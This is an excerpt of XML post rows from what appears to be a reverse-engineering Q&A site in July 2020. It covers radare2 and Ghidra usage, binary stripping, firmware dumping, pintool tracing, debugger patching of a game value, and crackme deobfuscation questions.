  <row Id="25546" PostTypeId="2" ParentId="25541" CreationDate="2020-07-24T17:51:38.313" Score="0" Body="&lt;p&gt;As i commented a decent disassembler will already do this for you&lt;/p&gt;&#xA;&lt;p&gt;here  is sample output for a random awesome string  in a random binary using radare2&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;radare2 on cdb.exe from windbg in win7 x86 &#xA;&#xA;grepping  for some awesome string &#xA;[0x00416870]&amp;gt; iz~deb&#xA;006 0x00018280 0x00419080  12  26 (.data) utf16le debugger.chm  &amp;lt;&amp;lt;&amp;lt;&amp;lt; an awesome string &#xA;&#xA;printing crossrefs&#xA;&#xA;[0x00416870]&amp;gt; axg @0x419080&#xA;- 0x00419080&#xA;  - 0x00413cfe fcn 0x00413c6c fcn.00413c6c&#xA;  - 0x00413c6c fcn 0x00413c6c fcn.00413c6c&#xA;    - 0x00416755 ???&#xA;  - 0x00413d17 fcn 0x00413c6c fcn.00413c6c&#xA;  - 0x00413d2b fcn 0x00413c6c fcn.00413c6c&#xA;  - 0x00413d38 fcn 0x00413c6c fcn.00413c6c&#xA; &#xA; looking at the listed cross refs&#xA;[0x00416870]&amp;gt; pd1@0x413cfe&#xA;|           0x00413cfe      6880904100     push str.debugger.chm       ; 0x419080 ; u&amp;quot;debugger.chm&amp;quot;&#xA;[0x00416870]&amp;gt; pd1@0x413d17&#xA;|           0x00413d17      6880904100     push str.debugger.chm       ; 0x419080 ; u&amp;quot;debugger.chm&amp;quot;&#xA;[0x00416870]&amp;gt; pd1@0x413d2b&#xA;|           0x00413d2b      66a380904100   mov word str.debugger.chm, ax ; [0x419080:2]=100 ; u&amp;quot;debugger.chm&amp;quot;&#xA;[0x00416870]&amp;gt; pd1@0x413d38&#xA;|           0x00413d38      b980904100     mov ecx, str.debugger.chm   ; 0x419080 ; u&amp;quot;debugger.chm&amp;quot;&#xA;[0x00416870]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-07-24T17:51:38.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25547" PostTypeId="2" ParentId="25534" CreationDate="2020-07-24T22:39:42.187" Score="0" Body="&lt;p&gt;&lt;code&gt;binwalk&lt;/code&gt; scans files for &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk/tree/master/src/binwalk/magic&quot; rel=&quot;nofollow noreferrer&quot;&gt;magic bytes&lt;/a&gt;. Data that does not have a signature defined for it will not be found by a signature scan.&lt;/p&gt;&#xA;&lt;p&gt;It appears no signature is defined for RootFS file systems (the hits for rootfs below are labels for offsets in TRX headers):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CwU2e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CwU2e.png&quot; alt=&quot;no rootFS signature&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Example entries for SquashFS file systems signatures, for reference:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jxmyl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jxmyl.png&quot; alt=&quot;signature entries for squashfs&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2020-07-24T22:39:42.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25548" PostTypeId="2" ParentId="25542" CreationDate="2020-07-24T23:00:23.817" Score="1" Body="&lt;p&gt;In a nutshell, stripping a binary means removing sections containing symbol and debug information from the file. These sections lie at the end of the binary, separate from the code. Removing this information has no bearing on the code itself, so the locations of functions in the file (their file offsets) will be the same after stripping the binary. Function addresses (their location in virtual memory), on the other hand, may either be hardcoded or position independent; it depends on how the binary was compiled (this is also unaffected by stripping symbol info).&lt;/p&gt;&#xA;&lt;p&gt;Finding the boundaries of functions in stripped binaries is an undecidable problem, but workarounds and heuristics exist, such as a signature-based approach to function detection. Here are some examples:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA FLIRT&lt;/a&gt; essentially uses byte patterns to create function signatures&lt;/li&gt;&#xA;&lt;li&gt;Ghidra's &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/tree/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Features/FunctionID&quot; rel=&quot;nofollow noreferrer&quot;&gt;FunctionID&lt;/a&gt; feature takes mnemonic and operand type into account when hashing instructions to match functions to their well-known name&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this is according to &lt;a href=&quot;https://twitter.com/williballenthin/status/1144031730963140608&quot; rel=&quot;nofollow noreferrer&quot;&gt;Willi Ballenthin's analysis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Features/FunctionID/src/main/java/ghidra/feature/fid/hash/MessageDigestFidHasher.java&quot; rel=&quot;nofollow noreferrer&quot;&gt;hashing implementation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;JEB's disassembler creates &lt;a href=&quot;https://docs.google.com/presentation/d/17Vlv5JD8fGeeNMQqDuwDQXN3d9U6Yxmfb1aebfbMM98/view#slide=id.g597565ee72_1_16&quot; rel=&quot;nofollow noreferrer&quot;&gt;function signatures by hashing the assembly (not binary code) of the function with a custom hashing algorithm&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;BinaryNinja's &lt;a href=&quot;https://binary.ninja/2020/03/11/signature-libraries.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Signature Library&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Here is an interesting article on the subject: &lt;a href=&quot;https://binary.ninja/2017/11/06/architecture-agnostic-function-detection-in-binaries.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Architecture Agnostic Function Detection in Binaries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2020-07-25T20:08:52.957" LastActivityDate="2020-07-25T20:08:52.957" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25549" PostTypeId="2" ParentId="25543" CreationDate="2020-07-25T05:37:18.757" Score="0" Body="&lt;p&gt;.NSH is only a windows installer format provided/designed by NSIS. The reason why you can't extract the file is because it has been compressed by NSIS (Nullsoft Scriptable Install System) software.&lt;/p&gt;&#xA;&lt;p&gt;This is most likely the best source for your solution:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://nsis.sourceforge.io/Can_I_decompile_an_existing_installer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://nsis.sourceforge.io/Can_I_decompile_an_existing_installer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I apologize for not having enough time to pick the important info for you. But I am more than honest that this documentation will solve your problem!&lt;/p&gt;&#xA;&lt;p&gt;Hope I Helped.&lt;/p&gt;&#xA;" OwnerUserId="33944" LastActivityDate="2020-07-25T05:37:18.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25551" PostTypeId="2" ParentId="25541" CreationDate="2020-07-25T07:52:26.893" Score="1" Body="&lt;h1&gt;It cannot be solved in all cases.&lt;/h1&gt;&#xA;&lt;p&gt;Some string (start) is not referenced in the whole &lt;code&gt;text&lt;/code&gt; at all, even if you turned on all optimizations. Let's see the following example.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#define _FILE strrchr(__FILE__, '/') ? strrchr(__FILE__, '/') + 1 : __FILE__&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;_FILE&lt;/code&gt; will point the filename instead of the full path, however, the compiled &lt;code&gt;elf&lt;/code&gt; will contain the whole &lt;code&gt;__FILE__&lt;/code&gt; string (the whole path) (See more details &lt;a href=&quot;https://stackoverflow.com/q/31050113/2506522&quot;&gt;here&lt;/a&gt;.)&lt;/p&gt;&#xA;&lt;p&gt;In this case, &lt;code&gt;.rodata&lt;/code&gt; will be seen like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -p 10 a.out&#xA;&#xA;String dump of section '.rodata':&#xA;  [     0]  Hello world&#xA;...&#xA;  [  ab12]  /your/build/folder/awesome.c&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;While the &lt;code&gt;text&lt;/code&gt; will &lt;em&gt;not&lt;/em&gt; refer the &lt;code&gt;0xab12&lt;/code&gt; anywhere, because &lt;code&gt;_FILE &lt;/code&gt; points to &lt;code&gt;0xab25&lt;/code&gt; (the start of the &lt;code&gt;awesome.c&lt;/code&gt;) and the &lt;code&gt;text&lt;/code&gt; will refer to this &lt;code&gt;0xab25&lt;/code&gt; adress.&lt;/p&gt;&#xA;&lt;p&gt;A workaround can be that checking all offsets of a given string.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Solution&lt;/h1&gt;&#xA;&lt;p&gt;The following solution works with MicroBlaze GCC, but the solution approach is general, so it can be applied to all architecture.&lt;/p&gt;&#xA;&lt;p&gt;Find a known string in &lt;code&gt;rodata&lt;/code&gt;. (A string with known usage. For example print a Hello world message at the beginning of the main.) Check out the compiled assembly. MicroBlaze GCC uses the strings in &lt;code&gt;printf&lt;/code&gt; as following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00000100 &amp;lt;main&amp;gt;:&#xA;...&#xA;     1ec:       b0000000        imm     0&#xA;     1f0:       30a09fc8        addik   r5, r0, -24632  // This is the HELLO WORLD&#xA;     1f4:       31000004        addik   r8, r0, 4&#xA;     1f8:       11330000        addk    r9, r19, r0&#xA;     1fc:       b9f45a58        brlid   r15, 23128      // 6954 &amp;lt;printf&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So this compiler refers the addresses as 16 bit signed values.&lt;/p&gt;&#xA;&lt;p&gt;To get the referring code line, convert the &lt;code&gt;0xfada&lt;/code&gt; (the absolute address of the &lt;code&gt;awesome string&lt;/code&gt;) to 16 bit signed integer &lt;code&gt;-1318&lt;/code&gt; and search (grep) for this value in the disassembled &lt;code&gt;text&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33934" LastActivityDate="2020-07-25T07:52:26.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25552" PostTypeId="2" ParentId="25543" CreationDate="2020-07-25T11:28:52.027" Score="2" Body="&lt;p&gt;The files you linked, whilst all having an &lt;code&gt;NSH&lt;/code&gt; extension actually appear to be slightly different archive formats.&lt;/p&gt;&#xA;&lt;p&gt;Each of these archive file appears to contains a number of graphics shaders compiled to bytecode for the various architectures. The binary formats of these shaders vary significantly between architectures.&lt;/p&gt;&#xA;&lt;p&gt;A couple have very obvious clues detailing the version of the shader compilers (and hence formats) used -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;nuccPostEffect_win32.nsh      Microsoft (R) HLSL Shader Compiler 9.29.952.3111&#xA;nuccPostEffect_dx11.nsh       Microsoft (R) HLSL Shader Compiler 6.3.9600.16384&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The shaders in the dx11 file can be identifed easily as they begin with the magic bytes &lt;code&gt;DXBC&lt;/code&gt;.  One resource for understanding these is &lt;a href=&quot;http://timjones.io/blog/archive/2015/09/02/parsing-direct3d-shader-bytecode&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2020-07-25T11:28:52.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25556" PostTypeId="1" CreationDate="2020-07-26T21:58:15.390" Score="0" ViewCount="69" Body="&lt;p&gt;So i've been trying to write a pintool that monitors call/ret instructions but i've noticed that threre was a significant inconsistency between the two. For example ret instructions without previous call.&lt;/p&gt;&#xA;&lt;p&gt;I've run the tool in a console application from which a number of inconsistencies can be observed. Below are the first 3 log entries showing this inconsistency:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1. Call from ntdll!LdrpCallInitRoutine+0x69, expected to return to 7ff88f00502a&#xA;2. RETURN to 7ff88f00502a&#xA;//call from ntdll!LdrpInitializeNode+0x1ac which is supposed to return at 7ff88f049385 is missing (the previous instruction)&#xA;3. RETURN to 7ff88f049385 (ntdll!LdrpInitializeNode+0x1b1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above are the first 3 log entries for the call/ret instructions. As one can see, the monitoring appears to start a bit late, at the call found at &lt;code&gt;ntdll!LdrpCallInitRoutine+0x69&lt;/code&gt;, after which it returned to the expected address but then returned to 7ff88f049385 without first tracking the call found in the previous instruction.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas of what could be the fault?&lt;/p&gt;&#xA;&lt;p&gt;The program is traced with &lt;code&gt;INS_AddInstrumentFunction&lt;/code&gt; with a callback that more or less does:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if INS_IsCall(ins) INS_InsertCall(ins,...&#xA;if INS_IsRet(ins) INS_InsertCall(ins,...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've tried the same program on Linux which worked as expected, without any mismatch.&#xA;Any ideas of the reason behind this behavior?&lt;/p&gt;&#xA;" OwnerUserId="30446" LastActivityDate="2020-07-26T21:58:15.390" Title="Windows pintool mismatch between call/ret instructions" Tags="|windows|x86-64|pintool|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25560" PostTypeId="2" ParentId="25537" CreationDate="2020-07-27T13:43:46.650" Score="0" Body="&lt;p&gt;These are instructions used for alignment. You can see that the last instruction ends on a 16-byte boundary (&lt;code&gt;000055F4BFB94400&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-07-27T13:43:46.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25561" PostTypeId="1" AcceptedAnswerId="25603" CreationDate="2020-07-27T15:05:35.033" Score="0" ViewCount="514" Body="&lt;p&gt;I have a simple program:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;  int a;&#xA;  a = func(15, 3);&#xA;  return a;&#xA;}&#xA;&#xA;int func(int i, int j)&#xA;{&#xA;  int b1[5], b2[10];&#xA;&#xA;  b2[i] = 1;&#xA;  printf(&amp;quot;%d\n&amp;quot;, b1[j]);&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am using python script to get local variables from the stripped binary, compiled using above program.&lt;/p&gt;&#xA;&lt;p&gt;I use: &lt;code&gt;function.getLocalVariables()&lt;/code&gt; or something like &lt;code&gt;function.getStackFrame().getStackVariables()&lt;/code&gt; to get the local variables. Interestingly I observed that, this script doesn't give me all the variables which can be seen in the decompiler window. For e.g., in the above case, I get following in the decompiled window (for function &lt;code&gt;func&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/17796905/88557533-f0a99380-cfef-11ea-9dfa-f2bd4e870266.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here, the predicted buffers can be seen. But instead I get:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FUN_004004d6&#xA;array(ghidra.program.model.listing.Variable, [[undefined4 local_5c@Stack[-0x5c]:4], [undefined4 local_60@Stack[-0x60]:4]])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which are clearly not the predicted buffers. Is there any way to get those buffers?&lt;/p&gt;&#xA;&lt;p&gt;Note: I also posted the same on ghidra github's forum.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-08-03T21:06:51.427" Title="Is there any way to get predicted variables using python script?" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25563" PostTypeId="1" CreationDate="2020-07-27T17:54:57.657" Score="0" ViewCount="40" Body="&lt;p&gt;I'm a novice CTF player with a decent understanding of OS internals and software mechanisms, I have deep understanding of heap and OS and User locking mechanims.&lt;/p&gt;&#xA;&lt;p&gt;I would like to learn on how to properly identify use-after-frees in source codes. The classical examples of alloc-free-use are too simple, (at least for me), in order to deeply understand how use-after-free mechanims is actually identified. I've been reading about the subject for quite a lot in the past few weeks but I do not seem to find good examples, (bugs/writeups), on.&lt;/p&gt;&#xA;&lt;p&gt;What are good examples, (bugs/writeups), or methodologies in order to properly identify use-after-frees in code?&lt;/p&gt;&#xA;" OwnerUserId="33971" LastActivityDate="2020-07-27T17:54:57.657" Title="What are the best ways today in order to learn about finding use-after-frees while code auditing?" Tags="|vulnerability-analysis|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25564" PostTypeId="1" CreationDate="2020-07-27T18:01:04.083" Score="0" ViewCount="149" Body="&lt;p&gt;So I got this app loaded in x64, there is a function, let's say&#xA;&amp;quot;HeatGainedPerShot&amp;quot;, which is basically the value which an object gains everytime it fires,&#xA;Such a value would normally exist in the code, but as this is C++, it is simply impossible to revert to source code, thus leading me to a debugger,&lt;/p&gt;&#xA;&lt;p&gt;So I found it, &lt;a href=&quot;https://i.stack.imgur.com/FXLYU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;well..&lt;/a&gt; the debugger displays many leading to the same adress, but that's for later.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000000140201A9D | 48:8D0D FC7FFF02       | lea rcx,qword ptr ds:[1431F9AA0]      |00000001431F9AA0:&amp;quot;FireMode.HeatPerShot&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you can see&#xA;rcx is what contains it,&#xA;&lt;strong&gt;Is there a way to do math on it? or change it to a zero,&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;proof of concept:::&lt;/li&gt;&#xA;&lt;li&gt;lea &lt;strong&gt;0&lt;/strong&gt;,qword ptr ds:[1431F9AA0]&lt;/li&gt;&#xA;&lt;li&gt;or&lt;/li&gt;&#xA;&lt;li&gt;lea &lt;strong&gt;rcx*0&lt;/strong&gt;,qword ptr ds:[1431F9AA0]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;I know it doesn't work, but would it not be possible to do something like that?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;( &lt;a href=&quot;https://i.stack.imgur.com/Glihs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/Glihs.png&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="33970" LastEditorUserId="33970" LastEditDate="2020-07-27T22:46:51.757" LastActivityDate="2020-07-27T22:46:51.757" Title="Change value of memory in a debugger?" Tags="|assembly|debugging|c++|memory|x86-64|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25565" PostTypeId="1" CreationDate="2020-07-27T19:07:11.360" Score="2" ViewCount="396" Body="&lt;p&gt;I got a &lt;a href=&quot;http://ww1.microchip.com/downloads/en/DeviceDoc/ATWINC15x0-MR210xB-IEEE-802.11-b-g-n-SmartConnect-IoT-Module-Data-Sheet-DS70005304C.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ATWINC-1510&lt;/a&gt; based device in front of me where I want to dump the firmware / flash contents from into a bin file.&lt;/p&gt;&#xA;&lt;p&gt;I know that the IC offers an SPI interface through the pins described in the datasheet. On the site of flash ROM I did not find any information whether flash ROM is capable of downloading the binary contents of the flash memory. Basically I was unsure as it is not a pure flash chip but like a microcontroller.&lt;/p&gt;&#xA;&lt;p&gt;Would appreciate any help on this.&lt;/p&gt;&#xA;&lt;p&gt;cobz&lt;/p&gt;&#xA;" OwnerUserId="33973" LastEditorUserId="37138" LastEditDate="2021-12-30T09:08:10.803" LastActivityDate="2022-09-26T12:01:45.147" Title="How to dump firmware from ATWINC1510" Tags="|firmware|firmware-analysis|flash|spi|atmel|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25567" PostTypeId="1" AcceptedAnswerId="25569" CreationDate="2020-07-27T22:45:20.747" Score="3" ViewCount="194" Body="&lt;p&gt;I've just started using radare2 and I've noticed a dot when I tried to disassamble one on my programs. The output is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x00000000      48b841000000.  movabs rax, 0x41&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I understand that 0x48 is the REX prefix for mov (0xB8) and immediate operand is 0x41. If 0x41 consumed 64 bits it would be 0x0000000000000041 (8 bytes).&lt;/p&gt;&#xA;&lt;p&gt;Total length of the instruction should be 10 bytes (0xA) which makes sense as my next instruction starts at 0xA (as first one consumes 10 bytes starting from 0x0 to 0x9)&lt;/p&gt;&#xA;&lt;p&gt;What is the meaning of dot in disassembly above? Could someone maybe point me to documentation that talks about disassembly format?&lt;/p&gt;&#xA;" OwnerUserId="33975" LastActivityDate="2020-07-30T05:03:46.503" Title="Radare2 - what does dot mean in disassembly" Tags="|disassembly|radare2|x86-64|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25568" PostTypeId="1" CreationDate="2020-07-27T23:25:37.893" Score="0" ViewCount="175" Body="&lt;p&gt;So I'm onto something interesting, I asked the less direct way but failed to meet the requirements in terms of explanation&lt;/p&gt;&#xA;&lt;p&gt;So here it is, how would I go about editing these the same way I would go about editing them in the code?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KQRhL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQRhL.png&quot; alt=&quot;how&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In reality I would set these to '0' ,how would I go about this with the Debugger?&lt;/p&gt;&#xA;" OwnerUserId="33970" LastActivityDate="2020-07-28T19:46:55.987" Title="How can I modify these?" Tags="|disassembly|assembly|debugging|c++|x86-64|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25569" PostTypeId="2" ParentId="25567" CreationDate="2020-07-28T07:48:50.183" Score="4" Body="&lt;p&gt;Since the number of bytes in the instructions can be different and they had to put some limit on the column width, this is how it is indicated that there are more bytes in the instruction that those that you see on the screen. A '.' indicates that there's more and it doesn't mean it's always zero(s)- it can be anything.&lt;/p&gt;&#xA;&lt;p&gt;If this bothers you there are flags that control the behavior.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt; e asm.nbytes = 6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;controls how many bytes are shown, and if you put that value to a relatively small number almost all will end with a &lt;code&gt;'.'&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You could put there &lt;code&gt;10&lt;/code&gt; to see the full instruction but of course that would push opcodes more to the right. You can also turn the bytes off to save some space:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt; e asm.bytes = false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2020-07-30T05:03:46.503" LastActivityDate="2020-07-30T05:03:46.503" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25572" PostTypeId="1" AcceptedAnswerId="25600" CreationDate="2020-07-28T16:51:00.460" Score="0" ViewCount="214" Body="&lt;p&gt;Running an executable in Cuckoo sandbox gives me its dynamic API information. How do these API calls differ from their static API information (eg. If I were to just put the executable through IDA Pro or Ghidra?) I know that the static API calls have different names from the dynamic ones, but are they two separate non intersecting sets (i.e. each particular API name only belongs to either the static API category or the dynamic API category, and never both?)&lt;/p&gt;&#xA;" OwnerUserId="30958" LastActivityDate="2020-08-03T09:49:00.413" Title="How does an executable’s static API differ from it’s dynamic API?" Tags="|ida|disassembly|binary-analysis|malware|ghidra|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25573" PostTypeId="2" ParentId="25568" CreationDate="2020-07-28T19:46:55.987" Score="1" Body="&lt;p&gt;the instruction lea loads the Effective Address of its operand&lt;/p&gt;&#xA;&lt;p&gt;so after executing &lt;strong&gt;lea rcx, qword ptr ds:[xxxxxxx]&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;rcx will hold the address &lt;strong&gt;xxxxxxx&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;so if you are sure you need rcx to be 0 in that instruction simply wipe the address from that specific operand&lt;/p&gt;&#xA;&lt;p&gt;that is make &lt;strong&gt;48:8d05 xyzabcd  as 48:8d0425 00000000&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;or assemble &lt;strong&gt;lea rax,qword ptr ds:[0]&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;keep in mind this requires one extra byte because of rip relative addressing&#xA;8d05 00000000 will address the next instruction in x64&#xA;and will destroy the ret opcode&lt;/p&gt;&#xA;&lt;p&gt;having said that what you are trying to do simply doesnt make sense&#xA;that instruction returns an address which will be acted upon&#xA;returning 0 to process further will surely result in access violation&#xA;down the line&lt;/p&gt;&#xA;&lt;p&gt;assume the returned address holds a string whose length is checked further down&#xA;what will happen if NULL address was passed to that function&lt;/p&gt;&#xA;&lt;p&gt;these kind of construction often represent a switch case or jump table construct&#xA;read about them&lt;/p&gt;&#xA;&lt;p&gt;below is a samll poc that will generate code similar to your screenshot&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;char *a[] =  &#xA;{&#xA;    &amp;quot;Your Name&amp;quot;,&amp;quot;Our Name&amp;quot;,&amp;quot;Her Name&amp;quot;,&amp;quot;His Name&amp;quot;,&amp;quot;Their Name&amp;quot;,&amp;quot;That Name&amp;quot;,&#xA;    &amp;quot;This Name&amp;quot;,&amp;quot;What Name&amp;quot;,&amp;quot;Why Name&amp;quot;,&amp;quot;Where Name&amp;quot;,&amp;quot;How Name&amp;quot;,&amp;quot;Whose Name&amp;quot;,NULL&#xA;};&#xA;char *getname( int indx ) &#xA;{&#xA;    switch(indx)&#xA;    {&#xA;        case 'a': return a[0];&#xA;        case 'b': return a[1];&#xA;        case 'c': return a[2];&#xA;        case 'd': return a[3];&#xA;        case 'e': return a[4];&#xA;        case 'f': return a[5];&#xA;        case 'g': return a[6];&#xA;        case 'h': return a[7];&#xA;        case 'i': return a[8];&#xA;        case 'j': return a[9];&#xA;        case 'k': return a[10];&#xA;        case 'l': return a[11];        &#xA;        default:  return &amp;quot;NoName&amp;quot;;&#xA;    }&#xA;}&#xA;int main(int argc,char *argv[]) &#xA;{&#xA;    if(argc !=2) return 0;&#xA;    printf(&amp;quot;%s\n&amp;quot; , getname(*argv[1]));&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DB1nt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DB1nt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-07-28T19:46:55.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25574" PostTypeId="1" CreationDate="2020-07-29T15:25:46.607" Score="2" ViewCount="1176" Body="&lt;p&gt;No matter what I try I cannot deobfuscate this crackme &lt;a href=&quot;https://crackmes.one/crackme/5d6c847433c5d46f00e2c390&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crackmes.one/crackme/5d6c847433c5d46f00e2c390&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I have tried each &amp;amp; every tutorial on youTube of which this one is the best &lt;a href=&quot;https://youtu.be/X0F_-sE-6GU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/X0F_-sE-6GU&lt;/a&gt;. Following all the steps in the video I receive an unhandled exception at 1:47. I am unable to deobfuscate the crackme. I've tried so many variations of this I couldn't possibly list them. Imagine 3-days; 9 hours a day running every variation, that's what I've done.&lt;/p&gt;&#xA;&lt;p&gt;An expert will have it deobfuscated in a few mins. Is anyone able to advise the steps with dnSpy to truly deobfuscate this crackme?&lt;/p&gt;&#xA;&lt;p&gt;I'm not after the solution to the crackme; just how to debfuscate.&lt;/p&gt;&#xA;" OwnerUserId="33992" LastActivityDate="2020-07-29T15:25:46.607" Title="How To Deobfuscate ConfuserEx .NET Assembly?" Tags="|deobfuscation|.net|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
